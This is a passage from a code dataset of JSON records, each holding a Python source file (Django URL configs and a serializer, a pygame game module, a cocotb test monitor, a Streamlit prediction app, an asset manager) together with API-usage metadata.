"matplotlib.pyplot.scatter", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 267, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 267, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 268, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 268, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 271, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 271, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 272, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 272, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "scipy.optimize.minimize", "line_number": 286, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 286, "usage_type": "name"}, {"api_name": "numpy.column_stack", "line_number": 287, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 288, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 291, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 301, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 301, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 302, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 302, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 303, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 303, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 304, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 304, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 305, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 305, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 306, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 306, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 307, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 307, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 308, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 308, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 309, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 309, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 321, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 322, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 322, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 331, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 332, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 335, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 337, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 340, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 341, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 342, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 343, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 349, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 349, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 350, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 350, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 351, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 351, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 352, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 352, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 353, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 353, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 355, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 355, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 356, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 356, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 357, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 357, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 358, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 358, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 359, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 359, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 360, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 360, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 361, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 361, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 395, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 396, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 397, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 397, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 398, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 404, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 412, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 413, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 422, "usage_type": "call"}, {"api_name": "scipy.optimize.minimize", "line_number": 429, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 429, "usage_type": "name"}, {"api_name": "numpy.column_stack", "line_number": 430, "usage_type": "call"}, {"api_name": "numpy.flipud", "line_number": 431, "usage_type": "call"}]}
{"seq_id": "28617801210", "text": "from django.urls import path, include\nfrom rest_framework_simplejwt.views import TokenVerifyView, TokenRefreshView\nfrom . import views\n\n\nurlpatterns = [\n    path(\"api/token/verify/\", TokenVerifyView.as_view(), name=\"token_verify\"),\n    path(\"refresh\", TokenRefreshView.as_view(), name=\"token_refresh\"),\n    path(\"login/<str:social_type>\", views.SocialLoginView.as_view(), name=\"social_login\"),\n    path(\"mypage\", views.MypageView.as_view(), name=\"mypage\"),\n    path(\"introduction\", views.UserIntroductionView.as_view(), name=\"introduction\"),\n]\n", "repo_name": "J-EUM/knewnew-project", "sub_path": "api/user/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenVerifyView.as_view", "line_number": 7, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenVerifyView", "line_number": 7, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenRefreshView.as_view", "line_number": 8, "usage_type": "call"}, {"api_name": "rest_framework_simplejwt.views.TokenRefreshView", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "17873892709", "text": "import pygame\n\n\nhealth_box_image = pygame.image.load('images/icons/health_box.png')\nknife_box_image = pygame.image.load('images/icons/knife_box.png')\nitem_boxes = {\n    'Health' : health_box_image,\n    'Knives' : knife_box_image\n}\n\n\nclass Knives(pygame.sprite.Sprite):\n    def __init__(self, x, y, direction):\n        super().__init__()\n        self.speed = 10\n        self.image = pygame.image.load('images/icons/knife.png').convert_alpha()\n        self.rect = self.image.get_rect()\n        self.rect.center = (x, y)\n        self.direction = direction\n\n    def update(self, screen_width, enemy_group, knife_group, obstacle_list, screen_scroll):\n        # move the knife\n        self.rect.x += self.direction * self.speed + screen_scroll\n        # check if knife has gone of screen\n        if self.rect.right < 0 or self.rect.left > screen_width:\n            self.kill()\n\n        # check for collision with level\n        for tile in obstacle_list:\n            if tile [1].colliderect(self.rect):\n                self.kill()\n\n        for enemy in enemy_group:\n            if pygame.sprite.spritecollide(enemy, knife_group, False):\n                if enemy.alive:\n                    enemy.health -= 50\n                    self.kill()\n\n\nclass Water(pygame.sprite.Sprite):\n    def __init__(self, img, x, y, tile_size):\n        super().__init__()\n        self.image = img\n        self.rect = self.image.get_rect()\n        self.rect.midtop = (x + tile_size // 2, y + (tile_size - self.image.get_height()))\n\n    def update(self, screen_scroll):\n        self.rect.x += screen_scroll\n\n\nclass Exit(pygame.sprite.Sprite):\n    def __init__(self, img, x, y, tile_size):\n        super().__init__()\n        self.image = img\n        self.rect = self.image.get_rect()\n        self.rect.midtop = (x + tile_size // 2, y + (tile_size - self.image.get_height()))\n\n    def update(self, screen_scroll):\n        self.rect.x += screen_scroll\n\n\nclass Decoration(pygame.sprite.Sprite):\n    def __init__(self, img, x, y, tile_size):\n        super().__init__()\n        self.image = img\n        self.rect = self.image.get_rect()\n        self.rect.midtop = (x + tile_size // 2, y + (tile_size - self.image.get_height()))\n\n    def update(self, screen_scroll):\n        self.rect.x += screen_scroll\n\n\nclass ItemBox(pygame.sprite.Sprite):\n    def __init__(self, item_type, x, y, tile_size):\n        super().__init__()\n        self.item_type = item_type\n        self.image = item_boxes[self.item_type]\n        self.rect = self.image.get_rect()\n        self.rect.midtop = (x + tile_size // 2, y + (tile_size - self.image.get_height()))\n\n    def update(self, knight, screen_scroll):\n        # scroll\n        self.rect.x += screen_scroll\n        if pygame.sprite.collide_rect(self, knight):\n            # check the type of box\n            if self.item_type == 'Health':\n                knight.health += 25\n                if knight.health > knight.max_health:\n                    knight.health = knight.max_health\n            elif self.item_type == 'Knives':\n                knight.knives += 5\n            # delete the box\n            self.kill()", "repo_name": "shadino/adventure-game", "sub_path": "tiles_and_icons.py", "file_name": "tiles_and_icons.py", "file_ext": "py", "file_size_in_byte": 3108, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pygame.image.load", "line_number": 4, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 4, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 12, "usage_type": "attribute"}, {"api_name": "pygame.image.load", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pygame.sprite", "line_number": 73, "usage_type": "attribute"}, {"api_name": "pygame.sprite.collide_rect", "line_number": 84, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 84, "usage_type": "attribute"}]}
{"seq_id": "32348667122", "text": "import cocotb\nfrom logging import getLogger\nfrom cocotb.monitors import BusMonitor\nfrom cocotb.triggers import ReadOnly\nfrom cocotb.result import TestFailure\n\nclass BaseMonitor(BusMonitor):\n\n\tdef __init__(self, entity, clock, scoreboard):\n\t\tBusMonitor.__init__(self, entity, \"\", clock)\n\n\t\tself._expected = None\n\t\tself._log = getLogger(scoreboard.log.name + '.' + self.name)\n\t\tself._scoreboard = scoreboard\n\t\tscoreboard.add_interface(self, [], compare_fn=self.compare)\n\n\n\tdef _print_expected(self, key, value):\n\t\ttry:\n\t\t\tself._log.info(\"    %s: %s (0x%x)\",\n\t\t\t               key, str(value), int(value))\n\t\texcept :\n\t\t\tself._log.info(\"    %s: %s\", key, str(value))\n\n\n\tdef _print_diff(self, key, value, expect):\n\t\ttry:\n\t\t\tself._log.info(\"    %s: %s != %s (0x%x != 0x%x)\",\n\t\t\t               key, str(expect), str(value),\n\t\t\t               int(expect), int(value))\n\t\texcept :\n\t\t\tself._log.info(\"    %s: %s != %s\",\n\t\t\t               key, str(expect), str(value))\n\n\n\tdef failure(self, message):\n\t\tself._scoreboard.errors += 1\n\t\tif self._scoreboard._imm:\n\t\t\traise TestFailure(message)\n\t\telse:\n\t\t\tself._log.error(message)\n\n\n\tdef compare(self, transaction):\n\t\tif self._expected == None:\n\t\t\treturn\n\n\t\tself._log.debug(\"Checking \" + self._expected[\"name\"] + \"...\")\n\n\t\twrong = False\n\t\t# validate transaction against signals present into expected\n\t\t# output\n\t\tfor k,v in transaction.items():\n\t\t\tif (self._expected.has_key(k) and\n\t\t\t    (k != \"name\") and\n\t\t\t    (not str(v) == str(self._expected[k]))):\n\t\t\t\twrong = True\n\t\t\t\tbreak\n\n\t\tif wrong:\n\t\t\tself._log.error(\"Received unexpected %s\" %\n\t\t\t                (self._expected.has_key(\"name\") == True\n\t\t\t                 and self._expected[\"name\"] or\n\t\t\t                 \"anonymous transaction\"))\n\n\t\t\tself._log.info(\"Expected:\")\n\t\t\tfor k, v in sorted(self._expected.items()):\n\t\t\t\tif k != \"name\":\n\t\t\t\t\tself._print_expected(k, v)\n\n\t\t\tself._log.info(\"Received:\")\n\t\t\tfor k, v in sorted(transaction.items()):\n\t\t\t\tif k != \"name\":\n\t\t\t\t\tself._print_expected(k, v)\n\n\t\t\tself._log.info(\"Diff:\")\n\t\t\tfor k, v in sorted(transaction.items()):\n\t\t\t\tif ((k == \"name\") or\n\t\t\t\t    (not self._expected.has_key(k))):\n\t\t\t\t\tcontinue\n\t\t\t\tif not str(v) == str(self._expected[k]):\n\t\t\t\t\tself._print_diff(k, v,\n\t\t\t\t\t                 self._expected[k])\n\n\t\t\tself._scoreboard.errors += 1\n\t\t\tif self._scoreboard._imm:\n\t\t\t\traise TestFailure((\"Received unexpected \",\n\t\t\t\t                   \"transaction\"))\n\n\t\tself._expected = None\n\n\n\t@cocotb.coroutine\n\tdef expect(self, expected):\n\t\tassert(self._expected == None)\n\t\tself._expected = expected\n\n\t\tyield self.wait_for_recv()\n\n\n\t@cocotb.coroutine\n\tdef _monitor_recv(self):\n\t\twhile True:\n\t\t\tyield ReadOnly()\n\n\t\t\t# build transaction from the entire list of declared\n\t\t\t# signals\n\t\t\ttransaction = {}\n\t\t\tfor sig in self._signals:\n\t\t\t\ttransaction[sig] = getattr(self.bus, sig)\n\n\t\t\tself._recv(transaction)\n", "repo_name": "grgbr/rtl", "sub_path": "test/monitor.py", "file_name": "monitor.py", "file_ext": "py", "file_size_in_byte": 2842, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cocotb.monitors.BusMonitor", "line_number": 7, "usage_type": "name"}, {"api_name": "cocotb.monitors.BusMonitor.__init__", "line_number": 10, "usage_type": "call"}, {"api_name": "cocotb.monitors.BusMonitor", "line_number": 10, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "cocotb.result.TestFailure", "line_number": 39, "usage_type": "call"}, {"api_name": "cocotb.result.TestFailure", "line_number": 87, "usage_type": "call"}, {"api_name": "cocotb.coroutine", "line_number": 93, "usage_type": "attribute"}, {"api_name": "cocotb.triggers.ReadOnly", "line_number": 104, "usage_type": "call"}, {"api_name": "cocotb.coroutine", "line_number": 101, "usage_type": "attribute"}]}
{"seq_id": "70524693705", "text": "from rest_framework import routers, serializers, viewsets\nfrom .models import Flight\n\n\nclass FlightSerializer(serializers.HyperlinkedModelSerializer):\n    class Meta:\n        model = Flight\n        fields = [\n            'id',\n            'flight_kind',\n            'flight_date',\n            'flight_co',\n            'flight_number',\n            'flight_ac_type',\n            'flight_ac_reg_number',\n        ]\n", "repo_name": "andrewkharzin/fss", "sub_path": "apps/flight/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 411, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.HyperlinkedModelSerializer", "line_number": 5, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 5, "usage_type": "name"}, {"api_name": "models.Flight", "line_number": 7, "usage_type": "name"}]}
{"seq_id": "6112349303", "text": "import click\nimport os\n\nimport numpy as np\n\nfrom achilles.experiment import TestTube\nfrom achilles.model import AchillesModel\nfrom pathlib import Path\n\n@click.command()\n@click.option(\n    \"--training_dir\",\n    \"-t\",\n    metavar=\"\",\n    default=None,\n    required=True,\n    show_default=True,\n    help=\"Training directory from which to parse models.\",\n)\n@click.option(\n    \"--evaluation_dir\",\n    \"-e\",\n    metavar=\"\",\n    default=None,\n    required=True,\n    show_default=True,\n    help=\"Evaluation HD5 file from AchillesModel.\",\n)\n@click.option(\n    \"--outdir\",\n    \"-o\",\n    metavar=\"\",\n    default=None,\n    required=True,\n    show_default=True,\n    help=\"Output directory.\",\n)\ndef lab(outdir, training_dir, evaluation_dir):\n\n    \"\"\" Run predictions in a test tube, not completed. \"\"\"\n\n    tube = TestTube(outdir=outdir)\n\n    tube.run_predictions(\n        training_dir=training_dir,\n        evaluation_path=evaluation_dir,\n        prefix=\"lab\",\n        mode=\"pairwise\",\n        batch_size=800,\n    )", "repo_name": "esteinig/achilles", "sub_path": "achilles/terminal/lab/commands.py", "file_name": "commands.py", "file_ext": "py", "file_size_in_byte": 1002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "achilles.experiment.TestTube", "line_number": 42, "usage_type": "call"}, {"api_name": "click.command", "line_number": 10, "usage_type": "call"}, {"api_name": "click.option", "line_number": 11, "usage_type": "call"}, {"api_name": "click.option", "line_number": 20, "usage_type": "call"}, {"api_name": "click.option", "line_number": 29, "usage_type": "call"}]}
{"seq_id": "41378491489", "text": "from django.core.management.base import BaseCommand\nfrom django.contrib.auth.models import User\nfrom oss.models import Site, Installation, Telescope\nfrom oss.models import Instrument, InstrumentCapabilities\nfrom oss.management.commands import lco, ingest_utils\n\nclass Command(BaseCommand):\n    args = ''\n    help = ''\n\n    def _ingest_telescopes(self):\n        instrument_list = lco.fetch_lco_instruments()\n\n        for instrument in instrument_list:\n            qs = Telescope.objects.filter(tel_code=instrument['tel_code'])\n            (tel, message) = ingest_utils.test_qs_unique_result(qs, [instrument['tel_code']])\n\n            if message == 'OK':\n                (new_instrument, stat) = Instrument.objects.get_or_create(name=instrument['name'],\n                                                                  telescope=tel,\n                                                                  wavelength=instrument['wavelength'],\n                                                                  url=instrument['url'])\n\n                for capability in instrument['capabilities']:\n                    qs = InstrumentCapabilities.objects.filter(descriptor=capability)\n                    if len(qs) == 0:\n                        cap = InstrumentCapabilities.objects.create(descriptor=capability)\n                    else:\n                        cap = qs[0]\n\n                    new_instrument.capabilities.add(cap)\n                    new_instrument.save()\n\n                print('Ingested instrument '+instrument['name']+' at '+instrument['tel_code'])\n\n            else:\n                print(message)\n\n\n    def handle(self,*args, **options):\n        self._ingest_telescopes()\n", "repo_name": "rachel3834/observatory_status_system", "sub_path": "oss/management/commands/ingest_lco_instruments.py", "file_name": "ingest_lco_instruments.py", "file_ext": "py", "file_size_in_byte": 1685, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.core.management.base.BaseCommand", "line_number": 7, "usage_type": "name"}, {"api_name": "oss.management.commands.lco.fetch_lco_instruments", "line_number": 12, "usage_type": "call"}, {"api_name": "oss.management.commands.lco", "line_number": 12, "usage_type": "name"}, {"api_name": "oss.models.Telescope.objects.filter", "line_number": 15, "usage_type": "call"}, {"api_name": "oss.models.Telescope.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "oss.models.Telescope", "line_number": 15, "usage_type": "name"}, {"api_name": "oss.management.commands.ingest_utils.test_qs_unique_result", "line_number": 16, "usage_type": "call"}, {"api_name": "oss.management.commands.ingest_utils", "line_number": 16, "usage_type": "name"}, {"api_name": "oss.models.Instrument.objects.get_or_create", "line_number": 19, "usage_type": "call"}, {"api_name": "oss.models.Instrument.objects", "line_number": 19, "usage_type": "attribute"}, {"api_name": "oss.models.Instrument", "line_number": 19, "usage_type": "name"}, {"api_name": "oss.models.InstrumentCapabilities.objects.filter", "line_number": 25, "usage_type": "call"}, {"api_name": "oss.models.InstrumentCapabilities.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "oss.models.InstrumentCapabilities", "line_number": 25, "usage_type": "name"}, {"api_name": "oss.models.InstrumentCapabilities.objects.create", "line_number": 27, "usage_type": "call"}, {"api_name": "oss.models.InstrumentCapabilities.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "oss.models.InstrumentCapabilities", "line_number": 27, "usage_type": "name"}]}
{"seq_id": "20465535546", "text": "from django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom django.urls import path, include\n\nurlpatterns = [\n    path('jet/', include('jet.urls', 'jet')),  # Django JET URLS\n    path('admin/', admin.site.urls),\n    path('', include('app.urls')),\n    path('ckeditor/', include('ckeditor_uploader.urls')),\n    path('froala_editor/', include('froala_editor.urls')),\n    path('admin/doc/', include('django.contrib.admindocs.urls'))\n]\nif settings.DEBUG:\n    urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "repo_name": "cnbillow/DeerU", "sub_path": "deeru/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 585, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 8, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.include", "line_number": 12, "usage_type": "call"}, {"api_name": "django.conf.settings.DEBUG", "line_number": 14, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 14, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 15, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 15, "usage_type": "attribute"}]}
{"seq_id": "31281616663", "text": "import streamlit as st\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport xgboost \nimport sklearn\n\nfile1 = open('n2opredictor_new1.pkl', 'rb')\nxgb = pickle.load(file1)\nfile1.close()\n\n\ndata = pd.read_csv(\"new_trained_data.csv\")\ndata = data.iloc[:,1:]\n#------------------------------------------------------------\n\n\nst.title(\"N2O Predictor\")\n\n\nmonth = st.selectbox('Month', ['January','February','March','April','May','June','July','August','September','October','November','December'])\n\n\nyear = st.selectbox('Year',[2002,2003,2004,2005,2006,2007,2008,2009,2010,2011,2012,2013,2014,2015,2016,2017,2018,2019,2020,2021,202,2023,2024,2025,2026,2027])\n\n\npp_2 = st.number_input('PP2')\n\npp_7 = st.number_input('PP7')\n\nairt = st.number_input('AIRT')\n\ndaftd = st.number_input('DAF_TD')\n\ndafsd = st.number_input('DAF_SD')\n\nwfp = st.number_input('WFPS25cm')\n\nnh4 = st.number_input('NH4 Content')\n\nno3 = st.number_input('NO3 Content')\n\n\n#------------------------------------------------------------------------------------------------------------\n\nif st.button('Predict NO2 Flux'):\n\n    \n    \n\n    months = {'January':1,'February':2,'March':3,'April':4,'May':5,'June':6,'July':7,'August':8,'September':9,'October':10,'November':11,'December':12}\n\n    mnth = months[month]\n\n    \n\n    query = np.array([[airt, pp_2, nh4, pp_7, wfp, year, no3, daftd, dafsd,mnth]])\n    \n\n    prediction = xgb.predict(query)\n\n    st.title(\"Predicted NO2 Flux is \" +\n             str(prediction))\n", "repo_name": "SanjayDey786/N2O_pred", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1471, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pickle.load", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 13, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 18, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 21, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 24, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 29, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 31, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 33, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 35, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 37, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 39, "usage_type": "call"}, {"api_name": "streamlit.number_input", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 62, "usage_type": "call"}]}
{"seq_id": "15423187211", "text": "\"\"\"Assets module.\"\"\"\nimport os\nimport logging\nimport pygame\nimport pyscroll\nimport pytmx\n\nfrom .locals import *  # noqa\nfrom .utils import ContainerAware\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass AssetManager(ContainerAware):\n\n    \"\"\"Asset manager.\"\"\"\n\n    def __init__(self):\n        \"\"\"Constructor.\"\"\"\n        logger.debug('Initializing AssetManager')\n\n        self.configuration = self.container.get(Configuration)\n        self.base_path = self.configuration.get('akurra.assets.base_path', 'assets')\n\n    def get_path(self, asset_path):\n        \"\"\"\n        Return a path to an asset while taking distributions and base paths into account.\n\n        :param asset_path: Relative path of asset to process.\n\n        \"\"\"\n        return os.path.join(self.base_path, asset_path)\n\n    def get_sound(self, asset_path):\n        \"\"\"\n        Return an sfx object (OGG only for now).\n\n        :param asset_path: Relative path of asset to process.\n\n        \"\"\"\n        path = self.get_path(asset_path)\n        sound = pygame.mixer.Sound(path)\n\n        return sound\n\n    def get_image(self, asset_path, colorkey=None, alpha=False):\n        \"\"\"\n        Return an image by processing an asset.\n\n        :param asset_path: Relative path of asset to process.\n\n        \"\"\"\n        path = self.get_path(asset_path)\n        image = pygame.image.load(path)\n        image = image.convert_alpha() if alpha else image.convert()\n\n        if colorkey:\n            image.set_colorkey(colorkey)\n\n        return image\n\n    def get_tmx_data(self, asset_path):\n        \"\"\"\n        Return TMX data by processing an asset.\n\n        :param asset_path: Relative path of asset to process.\n\n        \"\"\"\n        path = self.get_path(asset_path)\n        tmx_data = pytmx.load_pygame(path)\n\n        return tmx_data\n\n    def get_map_data(self, asset_path):\n        \"\"\"\n        Return map data by processing an asset.\n\n        :param asset_path: Relative path of asset to process.\n\n        \"\"\"\n        tmx_data = self.get_tmx_data(asset_path)\n        map_data = pyscroll.data.TiledMapData(tmx_data)\n\n        return map_data\n", "repo_name": "multatronic/akurra", "sub_path": "akurra/assets.py", "file_name": "assets.py", "file_ext": "py", "file_size_in_byte": 2087, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "utils.ContainerAware", "line_number": 15, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.mixer.Sound", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.mixer", "line_number": 43, "usage_type": 